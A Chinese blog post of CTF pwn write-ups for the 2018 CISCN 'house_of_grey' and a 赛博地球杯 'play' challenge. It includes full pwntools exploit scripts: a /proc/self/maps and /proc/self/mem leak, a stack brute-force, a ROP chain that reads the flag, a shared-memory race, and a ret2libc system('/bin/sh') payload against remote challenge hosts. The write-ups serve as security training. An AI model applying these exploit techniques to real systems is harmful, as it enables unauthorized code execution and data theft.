ZoE

个人站

Pwn的挖坑填坑之旅


四月份刷题

四月份刷题

2018ciscn:https://github.com/killshadow/CTF_WP/tree/master/2018ciscn/pwn 2018ciscn_wp : https://www.xctf.org.cn/media/infoattach/55ec909c4c2340998be053ad70613f49.pdf

house_of_grey

参考:http://p4nda.top/2018/05/13/ciscn-ctf-2018/#house-of-grey 关于clone:https://blog.csdn.net/gatieme/article/details/51417488

这个题是可以实现文件的读写,只要给出文件路径即可,所以我们可以通过读/proc/self/maps来绕过pie。

p.recvuntil('Y/n')
p.sendline('y')
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')

p.sendline('/proc/self/maps')
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('10000')
p.recvuntil('something:\n')

pie = int('0x'+p.recvuntil('-')[:-1],16)
print '[+] pie:',hex(pie)

打印/proc/self/maps文件信息就可以知道pie了,包括code、heap、stack和libc 下面是/proc/self/maps文件的一个内容例子

563fc76f0000-563fc76f2000 r-xp 00000000 08:01 154325                     /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc78f2000-563fc78f3000 r--p 00002000 08:01 154325                     /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc78f3000-563fc78f4000 rw-p 00003000 08:01 154325                     /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc89a3000-563fc89dc000 rw-p 00000000 00:00 0                          [heap]
7f342be6f000-7f343be6f000 rw-p 00000000 00:00 0 
7f343be6f000-7f343c02f000 r-xp 00000000 08:01 399109                     /lib/x86_64-linux-gnu/libc-2.23.so
7f343c02f000-7f343c22f000 ---p 001c0000 08:01 399109                     /lib/x86_64-linux-gnu/libc-2.23.so
7f343c22f000-7f343c233000 r--p 001c0000 08:01 399109                     /lib/x86_64-linux-gnu/libc-2.23.so
7f343c233000-7f343c235000 rw-p 001c4000 08:01 399109                     /lib/x86_64-linux-gnu/libc-2.23.so
7f343c235000-7f343c239000 rw-p 00000000 00:00 0 
7f343c239000-7f343c25f000 r-xp 00000000 08:01 399081                     /lib/x86_64-linux-gnu/ld-2.23.so
7f343c440000-7f343c443000 rw-p 00000000 00:00 0 
7f343c45e000-7f343c45f000 r--p 00025000 08:01 399081                     /lib/x86_64-linux-gnu/ld-2.23.so
7f343c45f000-7f343c460000 rw-p 00026000 08:01 399081                     /lib/x86_64-linux-gnu/ld-2.23.so
7f343c460000-7f343c461000 rw-p 00000000 00:00 0 
7ffcb6f7b000-7ffcb6f9c000 rw-p 00000000 00:00 0                          [stack]
7ffcb6ff2000-7ffcb6ff5000 r--p 00000000 00:00 0                          [vvar]
7ffcb6ff5000-7ffcb6ff7000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

接收地址

while 1:
	a = p.recvline()
	if 'heap' in a:
		a = p.recvline()
		stack_start = int(a.split('-')[0],16)
		stack_end = int((a.split('-')[1]).split(' ')[0],16)
		print '[+] stack_start:',hex(stack_start)
		print '[+] stack_end:',hex(stack_end)
		break
while 1:
	a = p.recvline()
	if 'libc' in a:
		libc.address = int(a.split('-')[0],16)
		print '[+] system:',hex(libc.symbols['system'])
		break
0x000056459a0a9000 0x000056459a0ab000 r-xp	/home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a2ab000 0x000056459a2ac000 r--p	/home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a2ac000 0x000056459a2ad000 rw-p	/home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a798000 0x000056459a7d1000 rw-p	[heap]
0x00007fb549559000 0x00007fb559559000 rw-p	mapped

这里注意为什么stack在heap后面呢,首先可以通过调试知道,其次因为题目中是clone一个线程运行的读文件程序,然后会发现stack的地址不是从mmap出来的end地址开始的,而是有一个随机偏移之后才开始的。要得到准确的stack初始地址还需要爆破,思路来自于P4nda师傅: 存在另外一个文件/proc/self/mem,这个文件相当于程序内存的一个映射。在测试过程中发现,其栈起始地址与mmap内存块的结束地址相差了一个随机值,而这个随机值是有一定范围的:0xf000000~0xfffffff之间,是可以爆破的,而爆破的过程是,首先利用case 2的定位函数,预先设定一个读取内存地址的起始值,然后不断的向下读,由于程序栈中存在一个明显的字符串标识”/proc/self/mem”,当读到的数据中包含这个字符串时就可以判断找到了栈。

可以简单验证一下可行性,爆破的次数最多可以有24次(共可以进行30次操作,其他操作占有次数),24*100000 = 2400000 = 0x249f00 , 而可能的范围是0x1000000 其概率为0.1430511474609375,是可以接受的。

攻击思路就是将任意地址写漏洞可以将case 4中的read参数劫持到read函数的返回地址处,也就是是read自身覆写自身的返回地址… 这样在read函数结束时也就返回到了通过写入的rop中。另外此题的坑点还有系统调用的限制,最终可以通过open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)读出。

Linux /proc/pid目录下相应文件的信息说明和含义: https://blog.csdn.net/enweitech/article/details/53391567 https://my.oschina.net/emptytimespace/blog/388207

详细脚本如下:

#coding:utf-8
from pwn import *
from ctypes import *
debug = 1
elf = ELF('./house')
#xctf{f58867c788e259cdb9143ddf9ec53bbd}
if debug:
	p = process('./house')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#context.log_level = 'debug'
else:
	p = remote('111.198.29.45',32285)
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#off = 0x001b0000
	#context.log_level = 'debug'

p.recvuntil('Y/n')
p.sendline('y')
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')

p.sendline('/proc/self/maps')
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('10000')
p.recvuntil('something:\n')

pie = int('0x'+p.recvuntil('-')[:-1],16)
print '[+] pie:',hex(pie)

while 1:
	a = p.recvline()
	if 'heap' in a:
		a = p.recvline()
		stack_start = int(a.split('-')[0],16)
		stack_end = int((a.split('-')[1]).split(' ')[0],16)
		print '[+] stack_start:',hex(stack_start)
		print '[+] stack_end:',hex(stack_end)
		break
while 1:
	a = p.recvline()
	if 'libc' in a:
		libc.address = int(a.split('-')[0],16)
		print '[+] system:',hex(libc.symbols['system'])
		break

#pause()
canary = 0
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem')
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('you?')

# stack from high to low address
stack_guess = 0xf800000
p.sendline(str(stack_end - stack_guess - 24*100000))   # offset
print '[+] offset from ',hex( stack_guess + 24*100000),'to',hex(stack_guess)
print '[+] from ',hex(stack_end - stack_guess - 24*100000),'to',hex(stack_end - stack_guess)
for i in range(0,24):
	p.recvuntil('Exit')
	p.sendline('3')
	p.recvuntil('get?')
	p.sendline('100000')
	p.recvuntil('something:\n')
	tmp = p.recvuntil('1.Find ')[:-7]
	if '/mem' in tmp:
		print '[+++] find'
		print tmp.split('/proc/self/mem')[0]
		canary = u64(tmp.split('/proc/self/mem')[0][-0x48:-0x40])
		break

stack_address = stack_end - stack_guess - 24*100000 + i *100000 + len(tmp.split('/proc/self/mem')[0])

if canary==0:
	print '[-] fail'
	exit(0)
print '[+] canary :',hex(canary)
print '[+] stack :',hex(stack_address)

p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem'+'\x00'*(0x18-14)+p64(stack_address-56)) # overflow to v8 
p.recvuntil('Exit')
p.sendline('4')
p.recvuntil('content')
# rop -> open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)
rop =p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+0x0000000000001821)+p64(0)+p64(0)+p64(pie+elf.symbols['open'])+p64(pie+0x0000000000001823)+p64(6)+p64(pie+0x0000000000001821)+p64(stack_address-56+0x100)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['read'])+p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['puts'])
rop +='a'*(0x100-len(rop))  # ljust 0x100
rop += '/home/ctf/flag\0'
p.sendline(rop)

p.interactive()
'''
0x0000000000001823 : pop rdi ; ret
0x0000000000001821 : pop rsi ; pop r15 ; ret
'''

P4anda师傅的ciscn final 记:

  • http://p4nda.top/2018/07/27/CISCN-Final/
  • http://p4nda.top/2018/07/20/0ctf-baby/ (KERNEL PWN)
  • http://p4nda.top/2018/07/02/patch-in-pwn/ (patch 小记)

赛博地球杯 play

  • https://bbs.pediy.com/thread-224200.htm

主要逻辑: 就是一个hero打monster的游戏,总共4个选项:1. hacking;2. change host;3. change methods;4. exit。

  • 选项1:互相攻击,hero死了就直接exit,monster死了并且monster达到3级(初始为0),就能进入vul_func()函数,触发栈溢出漏洞;没有达到3级,则monster升级1次
  • 选项2:恢复血力。
  • 选项3:改变技能。

这道题主要目标就是3次打败monster,使它升到3级,然后触发vul_func()函数。但是恢复血力时,相应的monster也会恢复血力,恢复的值还比hero的血还高一些,所以无解。但是因为是fork线程,存储hero的结构是用mmap申请的空间,可以通过输入已有的用户名,从文件中来的,即线程之间是共享内存,所以我们可以一边实现加血,一边打怪升级到溢出点即可。

打怪exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
 
context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
DEBUG = 0
if DEBUG:
    p = process('./play')
    #p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
    #context.log_level = 'debug'
    #libc = ELF('libc.so.6')#libc.so.6   #/lib/x86_64-linux-gnu/libc-2.24.so
else:
    p = remote('111.198.29.45',31012)
    #libc = ELF('libc.so.6')
 
libc = ELF('libc6-i386_2.23-0ubuntu10_amd64.so')
#libc = ELF('libc.so.6')
p.recvuntil('login:')
p.sendline('bsauce')
 
 
def hacking():
 p.recvuntil('choice>> ')
 p.send('1\n')
 p.recvuntil('(1:yes/0:no):')
 p.send('1\n')
 
def change_host():
 p.recvuntil('choice>> ')
 p.send('2\n')
 
 
def change_methods():
 p.recvuntil('choice>> ')
 p.send('3\n')
 p.recvuntil('choice>> ')
 p.send('1\n')

change_methods()
i=0
j=0
while 1:
    hacking()
    data=p.recvuntil('\n')
    #print data
    if "win" in data:
        i+=1
        print data
    if i>=3:
        time.sleep(1)
    if i==4:
        break
    #raw_input()
    #if()
 
#gdb.attach(p,"b *0x8048F02")
#p.recvuntil('ame:')
data='a'*0x48+'a'*4+p32(0x8048670)+p32(0x8048EC7)+p32(0x804B01C)
p.sendline(data)
print p.recvuntil('welcome\n')
zz=p.recvuntil('\xf7')
print len(zz),hex(u32(zz[0:4]))
print zz

chdir_addr=u32(zz[-4:])
print hex(chdir_addr)
 
libc_base=chdir_addr-libc.symbols['chdir']
     
print hex(libc_base)
system_addr=libc_base+libc.symbols['system']
bin_sh_addr=libc_base+next(libc.search('/bin/sh'))
payload = 'a'*(0x48+4) + p32(system_addr) + p32(0x80488A8) + p32(bin_sh_addr)
p.recvuntil("name")
p.sendline(payload)
p.interactive()

同时运行加血exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
DEBUG = 0
if DEBUG:
    p = process('./play')
    #p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
    #context.log_level = 'debug'
    #libc = ELF('libc.so.6')#libc.so.6   #/lib/x86_64-linux-gnu/libc-2.24.so
else:
    p = remote('111.198.29.45',31012)
    #libc = ELF('libc.so.6')
 
p.recvuntil('login:')
p.sendline('bsauce')
 
def hacking():
 p.recvuntil('choice>> ')
 p.send('1\n')
 p.recvuntil('(1:yes/0:no):')
 p.send('1\n')
 
def change_host():
 p.recvuntil('choice>> ')
 p.send('2\n')
 
def change_methods():
 p.recvuntil('choice>> ')
 p.send('3\n')
 p.recvuntil('choice>> ')
 p.send('1\n')
 
while 1:
    change_host()

这道题感觉主要是在找libc的时候找了几个才找到。

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦